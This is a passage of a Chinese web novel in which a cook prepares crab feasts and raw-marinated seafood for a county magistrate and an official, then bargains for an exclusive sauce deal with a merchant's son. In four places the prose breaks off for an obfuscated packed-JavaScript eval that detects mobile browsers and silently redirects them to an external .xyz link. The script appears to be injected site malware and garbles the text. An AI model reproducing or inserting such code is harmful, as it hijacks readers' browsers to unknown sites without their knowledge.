许主簿在听到自己被留了一条小命时,心里松了一口气,他面上还是在痛哭流涕,不断忏悔,辩解自己是被人蒙蔽,试图减轻一下罪责,可他哪里会知道死在流放之路上的囚犯数不胜数。 解决完临海县的案子,严清肃和裴昱臣一起回到了后院。 “贤侄,徐家后续之事便交给你处理了,但他们父子二人我需得带走,叫他们指认杜青岩,我才好接着查江南之事。” 裴昱臣对严清肃的决定没有异议:“都听严伯您的安排,这回多谢您出手相助了。” 严清肃摆了摆手:“哪里的话,这是我分内之事。” 公事商量完后,严清肃想起了县衙里住着的那名女子,他斜眼看向裴昱臣,“小子,你老实告诉我,有没有对女子行不轨之事?” 裴昱臣感到莫名其妙:“严伯,你这是何意?” 严清肃冷哼一声:“呵,孤男寡女共处一室,我不信你们朝夕相处之下什么事都没发生。” “严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950594|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伯,你误会了,楚沅是我的厨娘。”裴昱臣无奈解释。 “哟,叫的这么亲热?”严清肃明显不相信。 “……”裴昱臣沉吟一会儿,说道:“严伯,待用午膳时你便知晓了。” —— 辰时裴昱臣离开之际,对云楚沅说午时要招待严指挥使,希望她能精心准备几道吃食。 云楚沅早早便进了膳房研究起了午膳,她计划做一桌美味的螃蟹宴。 除了清蒸蟹、香辣蟹、咸蛋黄焗螃蟹外,云楚沅准备了两道主食,蟹黄拌面和蟹黄汤包。 有现成的蟹黄酱,蟹黄拌面做起来十分容易,只需简单一拌即可。 用面粉和温水做面团后,再调制蟹黄汤包的馅料,猪肉末加葱姜末搅拌,盐和酱油调味,倒入蟹黄酱和少半皮冻混合在一起,便可以擀面皮包包子了。 一勺馅料置于掌心的面皮中,再来一勺蟹黄点缀其间,云楚沅包包子的手法利落,捏出来的褶皱均匀细腻,好似花朵绽放,最后户口收紧,将收口收严实,牢牢锁住鲜汁与满溢蟹香。 蒸笼预热,水汽氤氲,云楚沅将一个个可爱的蟹黄汤包放入蒸笼中,蒸汽升腾,带着它们奔赴向美味的巅峰。 出锅后,云楚沅掀开盖子,汤包颤巍巍坐于笼屉中,面皮是半透明的,隐约透出内里橙黄馅料,她用筷子轻轻一拨弄,汤包便剧烈摇晃起来,里面的汤汁满到要撑破包子皮。 汤包顶端的收口处,似开未开,像极了含苞待放的秋菊,惹人怜爱。 云楚沅等不及地用小碟子成了一只蟹黄汤包,轻咬一小口,薄如蝉翼的面皮瞬间破开,先吸汤汁,滚烫鲜香瞬间在口腔爆开。 再尝包子,面皮绵软筋道,蟹黄醇厚,蟹肉清甜,再与浓郁的肉汁一口吞下,唇齿留香,回甘悠长。 后院摆放好的木桌上,一盘盘色泽鲜艳、体态饱满的螃蟹被端了上来,犹如珊瑚绽于玉盘,令人眼前一亮。 伺候的丫鬟们娴熟地为几人拆解螃蟹,她们先用小镊子轻轻夹住螃蟹,将其翻转,揭开蟹盖,顿时,一股浓郁的鲜香弥漫开来,而后将蟹嘴、蟹胃、蟹腮小心剔除。 严清肃看着满桌的蟹,都不知如何下筷,最后选择先吃原汁原味的清蒸螃蟹。 蟹黄软糯绵密,入口即化,浓郁的味道在口腔中肆意绽放,让人忍不住闭上眼睛细细品味,严清肃许久未吃过这么肥美的螃蟹了,果然海鲜还是要来沿海之地吃才行。 他又夹了一筷子莹白如玉、丝丝分明的蟹肉,严清肃咬下后,入口清甜,只觉弹性十足,先是淡淡的咸鲜在齿间流转,继而有一股甜味涌出。 云楚沅为清蒸蟹搭配上了一碟必不可少的姜醋汁,姜的辛辣和醋的酸爽完美融合,它既能中和螃蟹的寒性,又能进一步激发出鲜味。 裴昱臣学着她的吃法,蟹肉蘸上少许姜醋汁,真是每一口都充满了变化与惊喜。 旁边还有一盘薄饼,云楚沅用小饼卷入蟹肉和蟹黄,再添些葱丝、黄瓜,递给裴昱臣,他笑着接过去,一口咬下去,鲜香、软糯、酥脆齐绽,口感丰富,美不胜收。 49. 雨后春笋 三人围坐,执箸伸向盘中蟹,其中要数云楚沅吃螃蟹的花样最多。 她掀开蟹盖,挖取里面的金黄蟹膏,轻轻敲碎蟹腿,剔出细腻嫩肉,而后将蟹肉与蟹黄一同置于蟹盖上,放上一勺米饭拌着吃。 再从手边的小碟子里拿起一片海苔,舀上一勺蟹肉拌饭,塞进嘴里大口咀嚼,酥脆与软糯充斥着口腔,她的眼神中满是沉醉。 裴昱臣见她又是卷小饼,又是裹海苔,吃法花样百出,嘴角微勾,“楚沅,每回看你吃的这么香,我都能多用两碗饭。” “嘻嘻,有我在你身边,是裴大哥你的福气。”云楚沅嘿嘿一笑,看来她很有做吃播的潜力。 “楚河和楚清呢?你怎么没把他们叫过来一起吃?” 云楚沅回道:“他们两个没规没矩的,在西院吃就行了,省得啃起螃蟹来的粗犷样子吓到客人。” 裴昱臣点点头:“也好,两个孩子在自己房间用膳更自在些。” 在哪儿都自在的云楚沅向裴昱臣不停安利:“裴大哥,你一定要尝尝这个海苔蟹黄拌饭,真的绝了!” 原来云楚沅吃不过瘾,又重新拿了个碗,将米饭、蟹黄、蟹肉、调料混在一起,撒上撕成碎片的海苔碎,搅拌成了一大份拌饭。 裴昱臣接过云楚沅盛给他一小碗拌饭,拿起筷子夹起一小撮裹满蟹黄的米饭,嘴唇轻抿,随着牙齿细细咀嚼,他的脸颊微微鼓动,却依旧难掩那副优雅的姿态。 “咸香微甜,软软糯糯的拌饭,夹杂着酥酥海苔脆,吃起来口感很不错。”裴昱臣咽下嘴里的食物后,方才看向眼睛亮亮的云楚沅,露出一抹笑。 “是吧是吧,好吃你就多吃点!”喜欢的东西得到别人的认可,云楚沅开心的不行。 宛如透明人一般的严清肃停下了嗦蟹腿的动作,他看着眼前四目相对、含情脉脉的两人,默默不语,叫谁来也不会认为他们是单纯的雇佣关系。 严清肃想入非非,不由将京城里兴起的话本子里的故事套用在他们身上,“俊书生与俏厨娘”,“县令大人与小厨娘不得不说的二三事”。 越想他越觉得这两人有苗头,鉴于裴贤侄死不承认的态度,严清肃决定多多观察,把他瞧见的蛛丝马迹统统记下来,回京告诉袭兄,让他这位做师父的亲自评判。 不过有一点贤侄说的没错,这位云姑娘的厨艺当真了不得,单是清蒸蟹的蘸料就让人眼前一亮。 抱着满满的期待,严清肃夹了一只红彤彤和香辣蟹和一只黄灿灿的咸蛋黄蟹,分别尝了几口。 香辣炒蟹,红亮的茱萸包裹着蟹块,香辣气息扑鼻,蟹壳炸制过后变得酥脆,蟹肉紧实弹牙;咸蛋黄焗蟹,沙沙的咸蛋黄与鲜嫩的蟹肉相结合,风味独特,咸香四溢。 严清肃情不自禁地又多夹了两只,这螃蟹在京城不常见,好吃的螃蟹那是更难得了,毫不夸张的说,这是他有生以来吃过最味美的蟹。 “严伯,如何?”裴昱臣轻笑一声,见严清肃逮着两盘蟹不停下筷,吃的满嘴流油,显然是被他的小厨娘的好手艺征服了,裴昱臣与有荣焉。 “咳,尚可。”严清肃用手抹了把嘴,擦去红油,佯装镇定地说道。 此时的严指挥使哪里还有公堂上的那副威严样子,俨然是一位沉迷于美食的寻常食客,云楚沅面对大官的那种紧张感消退了不少,她笑着对丫鬟说道:“去将蟹黄汤包呈上来吧。” 这蟹黄汤包要趁热吃才好吃,所以云楚沅让下人先把那几道螃蟹端上来,等客人全都品尝过后,再上汤包。 毕竟多吃几只螃蟹,又不会吃撑,要是先上汤包,云楚沅怕他们一下子吃饱了,肚子里没位置留给其他菜肴了。 两笼热气腾腾的蟹黄汤包被端上了桌,那氤氲的蒸汽为这道吃食蒙上了一层神秘的面纱,引得裴昱臣和严清肃两人的目光被其牢牢吸引。 云楚沅站起身来,手里垫着块湿布子将蒸笼盖掀开,一股热气瞬间涌了出来,把桌子周围衬托得像是一片仙境。 “这是蟹黄汤包,还请两位大人品尝。”云楚沅自信满满,这可是今日的重头戏,没有人会不爱汁水饱满、鲜到掉牙的汤包的。 裴昱臣向来捧场,他率先夸赞:“这蟹黄汤包,模样精致,褶皱均匀,定是一双巧手捏出来的花边。面皮薄如蝉翼,仿若凝脂,透过这层轻薄的阻碍,隐约能窥见内里的乾坤。单论这外形,便已是令人惊叹。” 云楚沅笑眯了眼,这文采斐然的小书生说话就是好听。 严清肃微微颔首,表示认同,他用筷子轻轻夹起一只汤包,那小巧玲珑的包子一被提起来便晃个不停,像是一张颇有韧性的绸缎快要兜不住里面的东西。 小心翼翼地将其置于玉碟之中,严清肃细细端详,而后笑着说道:“贤侄所言极是,这汤汁呼之欲出,闻起来仿佛汇聚了蟹黄的鲜香和高汤的浓郁。” 云楚沅斜看了他一眼,这位指挥使大人鼻子还真灵,里面的皮冻可是她熬了一个时辰的浓汤凝结而成的。 严清肃轻轻咬破汤包的一角,里面的汁水迫不及待地淌了出来,他啜饮了一口汤汁,脸上渐渐浮现出满足的神情。 而后严清肃将整只汤包吃了下去,闭目回味片刻,他开口赞叹:“此汤汁入口,便有一股鲜甜味在舌尖绽放开来,馅料更是一绝,蟹黄配上这软糯又不失筋道的面皮,吸饱了汤汁的精华,这滋味当真是妙不可言。” 裴昱臣尝过后,点头称是:“的确如此,这汤包看似平凡,实则内藏玄机。吃起来既有嚼劲,又带着汤汁的鲜香,实乃人间至味。” 云楚沅一副飘飘欲仙的样子,她快被夸得找不到北了,“两位大人快趁热吃吧,我已经在膳房吃过了。” 脱口而出的话,暴露了她偷吃的事实,裴昱臣忍俊不禁。 院中蟹香萦绕,待他们用完午膳后,桌上的蟹壳堆叠成小山,而口中余味久久不散,满足之意溢于言表,仿若将这个时节的丰饶都纳入腹中。 —— 送走严指挥使后,裴昱臣一头扎进了处理公务中,他带着陈县丞和梁捕头一起,将徐家的家产好好清算了一遍。 金银财宝全部充公, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958667|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有侵占他人的田地全部返还了回去,云楚沅又出银子买下了几处地理位置优越的铺子,其中就包括徐记粮铺和湘香馆。 没了蛀虫,裴昱臣和云楚沅大刀阔斧地发展临海县,街上的加工坊如雨后春笋般冒了出来。 小渔村的加工坊已经满足不了市场需求了,面积小,生产效率低,已经渐渐跟不上云记海味坊的售卖速度了。 为此,云楚沅在临海县开设了多家海产品加工坊,并将海鲜制品分成了酱料、干货、零食三类。 酱料加工坊主要制作蚝油、海鲜酱、蟹黄酱等调味料;干货加工坊用来处理干贝、虾干、海参干、鲍鱼干等需要晾晒的海鲜;零食加工坊主要负责做鱿鱼丝、鳕鱼片、小鱼干、海苔等零食。 这么多加工坊的出现,势必要继续招工,临海县越来越多的百姓有了月钱高、稳定而又轻松的工作。 能够养家糊口之后,百姓们的生活水平也有了提高,偶尔去云记食肆打打牙祭,或是去海味坊给孩子买上一些解馋的小零食,成了不少人都会做的事。 不知不觉间,“云记”已经成了临海县百姓常常挂在嘴边的两个字。 提起云记铺子,大家都会赞不绝口,不仅仅是因为云记的东西物美价廉,更重要的是老板人美心善,大家纷纷以能在云记做工为荣。 眼见着临海县一片欣欣向荣的景象,云楚沅的心思又活泛起来,她为远在江南的宋家少爷写了封信。 信上提出了云记即将设立商行,想要与宋家进一步合作,并诚邀他来临海县亲自参观,云楚沅洋洋洒洒写了十多页纸,言辞恳切,为宋家主画了张大饼。 这封邀请信由周掌柜帮忙寄了出去,云楚沅对宋家是否会答应她的请求有些不确定。 虽然在云楚沅的心里,自己的方案哪哪都好,一旦双方合作,那是能够共赢的好事,可她又不能左右别人的想法。 万一宋家赚的银子够多了,不想再冒险呢?万一宋家不信任她这位出身小渔村的女子呢? 云楚沅的心里很矛盾,她已经信誓旦旦地和裴昱臣作出了承诺,这要是不成功,岂不是要被笑话。 “裴大哥,你说宋家会愿意来我们临海县投资吗?” 胡思乱想的云楚沅又一次闯进裴昱臣的书房,想要问问他的看法。 裴昱臣抬头看了看神色茫然的云楚沅,请她坐了下来。 “楚沅,这可不像你啊,雷厉风行的小丫头何时也会瞻前顾后了?”裴昱臣笑着打趣她。 云楚沅一扭身子,双手交叉抱在胸前,粉嫩的嘴唇轻轻嘟起,小巧的鼻翼微微翕动,表达着自己的不满,“裴大哥,我这都是为了谁?还不是怕你失望嘛。” “楚沅,你的所作所为我都瞧在眼里,我永远不会对你失望的。”裴昱臣的声音低沉,宛如潺潺流淌的清泉,让心烦意乱的云楚沅渐渐平复了下来。 “真的?”云楚沅睨了他一眼。 裴昱臣眼神温柔,嘴角露出一抹浅笑,“县衙有了银子,即便没人愿意来投资,我们也可以自己修路走出去。” 50. 生腌虾蟹 云楚沅和裴昱臣聊过后仿佛吃了颗定心丸,她决定放平心态。 为了把云记海味坊的货卖出去,她的商行是一定要组建的,李掌柜已经开始物色商队的人选了,护送货物必须要会武艺。 临海县附近都是些小土路,一人一马出行倒是没什么问题,可要大队人马想要拉货出远门,那属实有些自讨苦吃。 最近的官道距离临海县约三十里路,步行一个半时辰能到,裴昱臣已经规划好了路线准备夯土筑路。 采用黏土、石灰、砂等材料,通过夯实使其变得坚硬,进而塑造成坚实的道路,这种方法简单有效,夯土路的稳定性和耐久性都很好。 裴昱臣预估修路花费要几万两,这笔钱县衙可以出,但这样做便掏空了库房,刚从徐家抄来的银子就会转瞬即逝。 倘若银子全用来修路,便无法用来整改县城内部了。 随着百姓们赚的银子变多,他们的需求也在提高,普通人最在意的无非就是衣食住行,有了银子自然就能扯布做新衣裳,食就更不必说了,日益红火的云记食肆便是最好的证明。 而“住”和“行”便是裴昱臣这个县令要考虑的了,修路一事是为了让百姓们出行更方便,所以县内的路以及乡村通往县城的路都需要翻新扩宽。 说到“住”,就不得不提小渔村的村民了,他们靠养殖发家后,有银子没处使,便有人想在县里买房子,闲暇之余搬到县城住,好好享受享受。 祖祖辈辈都在村里的老人们不愿离开,但家里的子孙辈都很向往外面的生活,许多年纪轻的男男女女纷纷涌进县城做活计,其中有不少人在云记做工。 连云楚沅也不例外,虽然现在她可以住在县衙,但也要为以后着想,将来小弟和小妹成家生孩子,肯定要有自己的房子,她这位长姐已经决定要为他们一人买一套院子。 云楚沅有了钱便想买房子、买铺子,她去牙行一打听,好家伙,排在她前面的有好几十号人,别说房子了,想租赁铺子的人都多到数不过。 原来云记的成功让临海县的人们心思活络起来,凡是有点手艺的人都起了做生意的念头,手里有闲钱的人纷纷付诸行动,盘下一间间铺子,想要成为下一个云记。 裴昱臣了解到这个情况后,打算在县城修建房屋,如今的东西两街已经满足不了百姓们了,他计划将南面和北面也开发出来。 除此之外,裴昱臣私心里想要在临海县开一间书院,他希望更多人能够读书识字,不求考取功名,但能多明白一些道理也是好的。 正当裴昱臣在苦恼是先出银子修路,还是建设房屋时,云楚沅为他带来了一个好消息。 “你是说,宋家少爷来信了,说过几日就能到临海县?”裴昱臣一下子从椅子上站了起来。 云楚沅也难掩激动,她手舞足蹈地说道:“裴大哥,只要我们能说服宋少爷给我们投资,那咱们便可以修路和建房子同时进行了。” 向来不苟言笑的裴昱臣此时也展露笑颜,自从云楚沅出现在他的身边后,他脸上的笑容便越来越多。 这要是回到京城,谁还能认出眼前这位春风满面的男子是那位沉默寡言的状元郎。 “楚沅,那我们好好准备一番,争取令宋公子看到临海县的不同。” 如今的临海县与裴昱臣刚上任时,已经有了天翻地覆的变化,从百姓们的精神面貌上便能窥见一二。 之前土匪横行,普通百姓夹着尾巴做人,妙龄女子更是连家门都不敢出,生怕被强抢去了。 在裴昱臣的雷霆手腕之下,男盗女娼、偷鸡摸狗这样的事情愈发少了,因为无论是多小的案子,这位县令都会亲自审理。 直到近日徐家被扳倒,还想再生事端的小人全都偃旗息鼓了,他们可不想步徐家的后尘。 裴昱臣做到了曾经说过的秉公执法,还临海县一片安宁。 云楚沅看着眼神里充满势在必得的男子,她也燃起了斗志。 随后,云楚沅去了一趟宋记粮铺,询问了一下周掌柜宋少爷的饮食爱好。 毕竟,没有什么事是一顿美食解决不了的! “呃,你问少爷喜好的吃食呀。我想想,少爷他对膳食没什么太大要求,平日里也是庖子做什么便吃什么……”周掌柜摸着长须,细细思索。 云楚沅的问题难倒了周掌柜,他绞尽脑汁地想了半天,才勉强想起一件事。 “我曾随着宋老爷去潮州做生意,那回宋少爷也一并前往,他在尝过潮州人做的鱼生、虾生、蚝生后赞不绝口。” 周掌柜不确定地说道:“我也不知他是第一回吃鱼脍很惊奇,还是真的爱吃,反正我和宋老爷是吃不惯。” 静坐在一旁的云楚沅,左手撑着脸,右手指尖轻轻搭在下巴上缓缓滑动,表情若有所思。 —— 按照信上约好的时间,明日宋少爷便该到了。 用过晚膳的云楚沅再次进了膳房,她将水缸里的虾、蟹、牡蛎、血蛤捞了出来,这些海鲜是她特意从小渔村取来的。 生腌必须选用新鲜的海鲜,还要用高度白酒进行杀菌,云楚沅用买来的烈酒浸泡海鲜。 在这个过程中,她开始调制生腌用的料汁,酱油打底,加入八角、桂皮、花椒、香叶等香料熬制一锅料水,晾凉后放入大量葱段、姜片、蒜粒、茱萸。 这些调料能够有效地去除海鲜的腥味,在保持其原有的鲜甜味的同时,也带上了一丝微辣。 经过精心挑选的活虾大小均匀,每一只都活蹦乱跳的,去头去壳后,轻轻剖开背部剔除虾线,以便其更好地吸收调料的味道。 云楚沅选用的螃蟹肉质丰满、膏满黄肥,清洗干净后,将整只蟹放入调配好的腌料中。 新鲜的牡蛎肉清洗干净,去除掉表面的杂质,令腌料的味道深入牡蛎的每一处。 血蛤肉质鲜红如血,是海鲜中的珍品,在生腌之前,云楚沅将血蛤仔细清洗,剔除掉不新鲜的,这血蛤虽然看着血呼呼的比较吓人,可吃起来味道非常鲜美。 云楚沅取来四个小坛子,将海鲜们层层叠放,浸泡在酱汁里,然后封上口,放进温度较低的地窖里保存。 一夜过后,云楚沅取出腌制好的海鲜,和裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964868|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昱臣一同前往整改过后的湘香馆。 如今那里已经挂上了云记的牌子,里面的厨子也是云楚沅培训出来的,这家饭馆不像云记食肆只卖海鲜吃食,里面猪鸭鸡鹅、各种菜品应有尽有。 如果说云记食肆是普通百姓的心头好,那么云记湘香馆便是临海县有头有脸的人经常光顾的地方。 云楚沅将宋少爷约在此处,还特意在今日包场,也算是给足了面子。 午时,小二叩响了二楼雅间的房门。 “东家,宋家少爷到了。” “快请他进来吧。”云楚沅高声说道。 “吱呀”一声,门被推开,一位剑眉斜飞入鬓、双眸明亮有神的男子迈步走了进来。 “在下宋明轩,见过云姑娘、裴县令。”男子彬彬有礼,嘴角挂着一抹恰到好处的微笑,看似很好说话。 “宋少爷快快请坐,小二,上茶。” 云楚沅不动声色地打量了男子两眼,这位宋少爷穿着一身质地上乘的绸缎长袍,裁剪精致,腰间束着一根华丽的玉带,温润的玉石镶嵌其中,尽显贵气。 “多谢云姑娘。” 宋明轩从容不迫地坐下,手中轻轻摇晃着一把折扇,他眼含笑意地看着对面的两人。 云楚沅将桌子上摆好的生腌海鲜往前推了推,笑着说道:“宋公子舟车劳顿,想必早就饿了吧,后厨正在准备好菜,您先用些酱蟹、酱虾垫垫肚子吧。” “云姑娘有心了。”宋明轩微微挑眉,想不到自己颇为隐秘的爱好也被她给知晓了,想来是周掌柜和她关系不错。 生腌虾透明中带着淡淡的粉红色,宋少爷夹了一只,蘸上酱汁,入口是紧实弹牙的口感,细嚼之下还能尝到一丝丝甜意。 再食用一只酱蟹,可以感受到蟹肉的软嫩与腌料的香辣完美结合,尤其是蟹黄部分,咸香微辣,口感绵密。 滑嫩的牡蛎咬一口便爆汁,肉质紧实而有弹性的血蛤,经过腌制后,里面的汁水与酱汁充分融合,每一口都能品尝到浓郁的鲜味和调料的辛香。 宋明轩将四道生腌海鲜全部品尝过后,轻轻颔首,“云姑娘的手艺一如既往,也不怪蟹黄酱在江南被炒出天价。” 云楚沅眼珠子一转,这人的意思是在向她透露蟹黄酱他很满意的意思吗? 旁边默默饮茶的裴昱臣放下杯盏,突然出声:“宋公子想要楚沅继续为你赚银子,不得拿出些诚意来吗?” 这位宋公子一开口不提合作之事,反倒先说起蟹黄酱,他的意思再明显不过,想要谈合作,必须先拿出一批蟹黄酱来。 商贾就是商贾,一谈起生意来,恨不得从对方身上撕下一块肉来。 裴昱臣心中鄙夷,这蟹黄酱云楚沅才买二十两银子就觉得多了,她哪能想到到了宋少爷的手里价钱能翻个十几倍。 宋明轩笑着看了一眼裴昱臣,说道:“不知裴大人与云姑娘是何关系?你能做得了她的主吗?” 云楚沅看着针锋相对的两人,后知后觉地意识到,宋公子方才话里有话,而且还是想从她这里占便宜,只是她反应迟钝,并未听出来。 51. 宋公子 裴昱臣好似对宋公子的挑衅浑然未觉,只是微微抬起了眼皮,深邃的眼眸透露出一丝难以捉摸的淡然。 他不疾不徐地开口:“我与楚沅自然关系亲厚,就凭你这般浅薄的手段,也妄想挑拨离间?” 裴昱臣的目光轻轻落在对面的男子身上,犹如在审视一件无关紧要的物件,没有半分紧张。 紧挨着他坐的云楚沅微微低头,忍不住想要发笑,想不到看起来清风霁月的裴县令,说起谎来也脸不红心不跳。 既然裴县令说他们二人关系亲厚,云楚沅肯定不可能拆穿他,她反而十分配合地贴近他,缓缓伸手,动作无比自然地挽上了裴昱臣的胳膊。 “哎呀,这都被宋公子你发现了,我家县令大人当然能做得了我的主啦,我们两人向来是他主外我主内。” 云楚沅故作娇羞地捂了捂嘴,脸颊上飞起两抹红晕,她的手指不经意地搭在裴昱臣的臂弯处,似是无意间触碰,却带着一种不可言说的暧昧情愫。 裴昱臣的表情微微一怔,目光下意识地落在云楚沅挽着自己胳膊的手上,他没想到云楚沅这么豁得出去,为了蒙蔽别人,竟不顾清白,主动亲近男子。 严肃古板的男子哪里会想到,这只不过是身旁的小女人玩心四起,戏瘾犯了而已。 迟疑片刻后,裴昱臣并未过多抗拒,脸上浮现出一丝礼节性的微笑,正面迎上宋明轩看好戏的眼神,无人知晓他此刻浑身僵硬。 云楚沅顺势倚向男子的臂膀,虽未严丝合缝地贴近,却也能感受到彼此的温度,她发丝间散发出一股淡淡的香气,萦绕在二人之间。 “裴郎,有你在我放心。”云楚沅仰起头,眼神专注地看着裴昱臣,口中轻声说着俏皮话,仿佛他们就是情意绵绵的眷侣。 宋明轩端起小二奉上来的茶,轻抿一口,露出会心的微笑,“原来如此,裴大人还真是护短呀,在下不过是想和云姑娘再订购一批蟹黄酱,您便不高兴了,想来是怕云姑娘受累吧。” 裴昱臣心里冷笑,这人话转得倒快,方才那意思可不像是要付银子的,这下瞧见云楚沅与自己这个县令亲密无间,立马变了态度。 眼里只有利益,这便是为何他不喜与商贾打交道的原因,裴昱臣的眼神落在身旁女子身上时变得柔和,倘若天下富商都如楚沅一般心地善良,那他便能宽心不少。 心地善良的云楚沅眨眨眼:“宋公子,人家只不过是从渔村来的小渔女,做吃食还行,可生意上的事懂得不多,所以才叫裴郎来为我出出主意。” 云楚沅又不傻,她只是从来没做过大生意,所以才会在一开始的时候没进入谈判的状态,不过有足智多谋的裴县令在旁边兜底,她还是很松弛的。 宋明轩被冷若冰霜的裴昱臣盯着,也不好再拐弯抹角地试探,他把真实情况向他们透露了一二,“蟹黄酱的确很赚钱,我请人为其作了首诗,在蟹宴上拿出来供人品味,结果这蟹黄酱惊艳四座,不少人都被它的滋味折服了。” 云楚沅的眼神中透露出一丝好奇,声音清脆地问道:“然后呢,然后呢,一百瓶蟹黄酱全都卖出去了?” 宋明轩似笑非笑地看了她一眼,摇了摇头,“云姑娘,这么好的东西,怎么能如此轻易就卖掉呢?我放出消息称蟹黄酱只有三十瓶,价高者得,之后每一日再拍卖几十瓶。你猜怎么着?最低价是一百两银子,最高的那瓶卖出了五百两。” 云楚沅惊讶地张大嘴巴,她以为再怎么贵,一百两就顶天了,五百两也太夸张了吧! 难道有钱人都这么阔绰吗?原谅她见识浅薄,无法理解富商的脑回路…… 可惜这么多银子,都不是她的。 想到这里,云楚沅的脸一下子垮了下去,她赚二十两银子便沾沾自喜,看看人家,营销一番后,瞬间赚了上万两银子,云楚沅嫉妒得眼睛都要红了。 “这还都得归功于云姑娘你呢。”宋明轩又说了一句扎心的话。 裴昱臣瞧着云楚沅把手放在桌下,死死绞着手中的帕子,脸上还要假惺惺地赔笑,忍俊不禁。 “宋公子赚了这么多银子,怎么不分给我们家楚沅一些?” 裴昱臣修长的手指搭在膝上,有一下没一下地敲击着,“想必宋公子来临海县并未掩人耳目吧,这要是有其他人也来云记定制酱料,那我们是应还是不应呢?” 云楚沅只想拍手叫好,裴县令,你就是我的嘴替! “哎哟,裴郎,话不要这样子讲嘛。再怎么说,宋公子也是我们的老顾客,肯定要给优惠的呀,其他人想买,那我们肯定是要提价的。” 他们两人一个唱红脸一个唱白脸,把宋明轩脸都唱绿了。 宋大少爷怎么会允许这颗摇钱树被别人染指呢!他这次亲自来临海县的主要目的,就是想和云记签订契约,让云楚沅允诺蟹黄酱只卖给宋家。 “云姑娘,开个价吧,多少银子你才愿意只把蟹黄酱卖给我们宋家。”宋明轩身子后仰,靠在椅背上,他已经做好了对方会狮子大开口的准备。 裴昱臣微微坐直了身子,朝云楚沅使了个眼色,示意她趁现在有要求尽管提。 “宋少爷,我们云记的东西品质如何,你心里也清楚,那我就直说了……” 云楚沅双手交叉放在桌面上,方才贴着裴昱臣撒娇卖乖的样子消失得无影无踪,她正色道:“我可以给你蟹黄酱的独家代理权,保证你们宋家长期享有江南的市场资源,但作为交换,我要两成的利润。” 听了她的话,宋明轩微微愣神,虽然像“代理权”、“利润”这些词语他不是很明白意思,可两成他听懂了。 这丫头不想直接要一笔大银子,而是把他们宋家当成钱袋子,随时取走卖蟹黄酱赚的部分银子。 这种法子他从未听说过,可见多识广的宋明轩一下子就想通了其中的关窍。 一次拿走大把银两对急需钱的人来说固然很不错,可这样也斩断了他们与卖家后续卖货的联系,是赚是亏都不能再过问了。 这对于已经知晓自己的产品价值千金的云楚沅来说,显然是无法接受的,她怎么能捡了芝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971352|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻丢了西瓜,放弃能生钱的东西呢? 宋明轩也明白了她的想法,不由在心里暗想这姑娘也没那么愚钝啊。 “云姑娘,我能接受每卖一批货就给你分银子,但两成利太多了。蟹黄酱之所以能卖出这个价,还要靠我宋家的人脉,而且我为了造势也花了不少银子,你不能只让我赚这么点银子呀。”宋明轩也表明了自己的态度。 利润,可以拿;两成,太多了。 两人扯皮了一番,最后敲定云楚沅拿一成的利润,但如果以后云记开到了江南,也可以售卖蟹黄酱。 云楚沅面上不动声色,心里却乐开了花,就这一成利就够她一辈子衣食无忧了。 而且她的云记商行开始跑商后,肯定是要去江南的,到时候就可以借宋家的势在那里站稳脚跟了。 在湘香馆用完午膳后,他们一行人参观完云记加工坊,又在临海县转了一圈,云楚沅在路上为宋公子描绘了一幅蓝图,极力劝说他投资。 “云姑娘,你说的这些不过是空中楼阁,临海县在我眼里就是一个价值不高的小地方,我没有看到你说的那些可能。” 宋明轩不为所动,他用手中的折扇指向荒芜的南北两片区域,“你要我在这种地方出银子经营铺子,别开玩笑了。” 云楚沅不愿放弃:“宋公子,你去我们小渔村看看,就知道我们临海县哪里不同了,县城内的变化还不够明显,可是我们的滩涂养殖那是非常有前景的,等我的云记商行去外地签下订单后,立马就会带动县城的经济。” “宋公子,据我所知,你们宋家如今急需新出路,不去小渔村看看可是你的损失。”陪同在云楚沅身旁的裴昱臣淡声说道。 